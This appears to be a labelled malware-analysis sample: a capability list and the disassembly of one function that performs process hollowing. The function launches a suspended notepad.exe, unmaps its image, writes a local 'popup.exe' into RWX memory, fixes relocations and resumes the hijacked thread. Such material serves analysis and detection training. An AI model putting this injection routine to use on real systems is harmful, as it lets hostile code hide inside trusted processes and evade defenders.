Function at 0x1400027a0
Capabilities:
Allocate or change rwx memory
Check processdebugflags
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Read file on windows
Resume thread
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x108
movaps xmmword [rsp + 0xf0], xmm6
pxor xmm6, xmm6
call fcn.1400015b0
mov r13, qword [sym.imp.libstdc_6.dll_std::cout]
mov r8d, 0x43
lea rdx, str.create_destination_process___this_is_the_process_to_be_hollowed_out
mov rcx, r13
call fcn.1400014d8
mov rcx, r13
call fcn.140001450
mov ecx, 0x68
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
mov ecx, 0xd
mov rsi, rax
xor eax, eax
mov rdi, rsi
rep stosq qword [rdi], rax
mov ecx, 0x18
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
mov ecx, 0x30
movups xmmword [rax], xmm6
mov r12, rax
mov qword [rax + 0x10], 0
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rax], 0
mov rbx, rax
mov qword [rax + 8], 0
lea rdx, str.c:windows_syswow64_notepad.exe
mov qword [rax + 0x10], 0
mov dword [rax + 0x18], 0
movups xmmword [rax + 0x20], xmm6
mov dword [rsp + 0xcc], 0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rsi, qword [r12]
mov r8d, 0x35
mov rcx, r13
lea rdx, str.get_destination_imageBase_offset_address_from_the_PEB
call fcn.1400014d8
mov rcx, r13
call fcn.140001450
mov r9d, 0x30
mov r8, rbx
xor edx, edx
lea rax, [rsp + 0xcc]
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.1400014b0
mov r8d, 0x20
mov rcx, r13
mov rbx, qword [rbx + 8]
lea rdx, str.get_destination_imageBaseAddress
call fcn.1400014d8
mov rcx, r13
call fcn.140001450
lea rax, [rsp + 0xd8]
mov r9d, 4
mov rcx, rsi
mov qword [rsp + 0x70], rax
add rbx, 0x1640
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea r8, [rsp + 0xe0]
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0x78], rax
call rax
mov r8d, 0x55
mov rcx, r13
lea rdx, str.read_source_file___this_is_the_file_that_will_be_executed_inside_the_hollowed_process
call fcn.1400014d8
mov rcx, r13
call fcn.140001450
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, str.C:_PROJECTS0xM4Mb4popup.exe
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor edx, edx
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov qword [rsp + 0xd0], 0
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r9d, r9d
mov r8d, edi
mov rcx, rbx
mov qword [rsp + 0x20], 0
mov rbp, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8d, 0x15
mov rcx, r13
lea rdx, str.get_source_image_size
call fcn.1400014d8
mov rcx, r13
call fcn.140001450
movsxd rax, dword [rbp + 0x3c]
mov r8d, 0x1f
mov rcx, r13
lea rdx, str.carve_out_the_destination_image
lea rbx, [rbp + rax]
mov edi, dword [rbx + 0x50]
call fcn.1400014d8
mov rcx, r13
call fcn.140001450
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0xe0]
mov rcx, rsi
call rax
mov r8d, 0x3d
mov rcx, r13
lea rdx, str.allocate_new_memory_in_destination_image_for_the_source_image
call fcn.1400014d8
mov rcx, r13
call fcn.140001450
mov r9d, 0x3000
mov r8, rdi
mov rcx, rsi
mov rdx, qword [rsp + 0xe0]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8d, 0x48
mov rcx, r13
lea rdx, str.get_delta_between_sourceImageBaseAddress_and_destinationImageBaseAddress
mov rdi, rax
mov qword [rsp + 0xe0], rax
call fcn.1400014d8
mov rcx, r13
xor r13d, r13d
call fcn.140001450
mov r9d, dword [rbx + 0x54]
mov rdx, rdi
mov r8, rbp
mov rax, qword [rsp + 0xe0]
mov r14, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rax
sub rcx, qword [rbx + 0x30]
mov qword [rbx + 0x30], rax
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x68], rcx
mov rcx, rsi
call r14
movsxd rax, dword [rbp + 0x3c]
lea rdx, [rbp + rax + 0xf8]
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x80], rax
call rax
mov rdx, qword [rsp + 0x58]
cmp word [rbx + 6], 0
mov rdi, rdx
je 0x140002d48
mov r15, rdx
nop word [rax + rax]
mov eax, dword [rdi + 0x14]
mov rcx, rsi
add r13d, 1
add rdi, 0x28
mov edx, dword [rdi - 0x1c]
mov r9d, dword [rdi - 0x18]
mov qword [rsp + 0x20], 0
add rdx, qword [rsp + 0xe0]
lea r8, [rbp + rax]
call r14
movzx ecx, word [rbx + 6]
cmp ecx, r13d
jg 0x140002b38
mov edi, dword [rbx + 0xb4]
test cx, cx
mov dword [rsp + 0xb4], edi
je 0x140002d48
xor eax, eax
mov qword [rsp + 0xb8], r12
lea rdi, [rsp + 0xe8]
mov r12d, eax
mov rax, r15
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0xa0], rbx
jmp 0x140002bd1
add rax, 0x28
add r12d, 1
cmp ecx, r12d
jle 0x140002d38
cmp dword [rax], 0x6c65722e
jne 0x140002bc0
cmp byte [rax + 4], 0x6f
jne 0x140002bc0
mov edi, dword [rsp + 0xb4]
mov r8d, dword [rax + 0x14]
test edi, edi
mov qword [rsp + 0x90], rdi
je 0x140002bc4
mov rbx, qword [rsp + 0xa8]
lea r15, [rsp + 0xd0]
xor r13d, r13d
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xb0], r12d
mov qword [rsp + 0x60], r15
add rbx, r8
mov qword [rsp + 0x88], rbx
nop dword [rax]
mov rcx, qword [rsp + 0x88]
lea rax, [r13 + 0x10]
lea r12, [r13 + rcx]
mov rbx, qword [r12 + 8]
lea rdi, [rax + rcx]
lea rbp, [rbx - 0x10]
shr rbp, 1
je 0x140002de0
lea rbx, [rdi + rbp*2]
nop dword [rax + rax]
cmp byte [rdi + 1], 0xf
jbe 0x140002dc8
movzx r15d, word [rdi]
mov r9d, 8
mov rcx, rsi
add rdi, 2
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0xe0]
mov r8, qword [rsp + 0x58]
and r15d, 0xfff
add r15, qword [r12]
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
add rdx, r15
call rax
mov rax, qword [rsp + 0x68]
mov r9d, 8
mov rcx, rsi
add qword [rsp + 0xe8], rax
mov rdx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
add rdx, r15
mov qword [rsp + 0x20], rax
call r14
mov rax, qword [rsp + 0x80]
call rax
cmp rbx, rdi
jne 0x140002c60
lea r13, [r13 + rbp*2 + 0x10]
mov rax, qword [rsp + 0x90]
cmp r13, rax
jb 0x140002c30
mov rbx, qword [rsp + 0xa0]
mov r12d, dword [rsp + 0xb0]
mov rax, qword [rsp + 0x98]
movzx ecx, word [rbx + 6]
add r12d, 1
cmp ecx, r12d
jg 0x140002bd1
mov r12, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xa0]
mov ecx, 0x4d0
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
mov r8d, 0x4d0
xor edx, edx
mov rsi, rax
mov rcx, rax
call sub.msvcrt.dll_memset
mov rcx, qword [r12 + 8]
mov rdx, rsi
mov dword [rsi + 0x30], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [rbx + 0x28]
mov rdx, rsi
add rax, qword [rsp + 0xe0]
mov rcx, qword [r12 + 8]
mov qword [rsi + 0x78], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
movaps xmm6, xmmword [rsp + 0xf0]
xor eax, eax
add rsp, 0x108
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
add rdi, 2
cmp rbx, rdi
jne 0x140002c60
jmp 0x140002cf9
mov r13, rax
jmp 0x140002cfe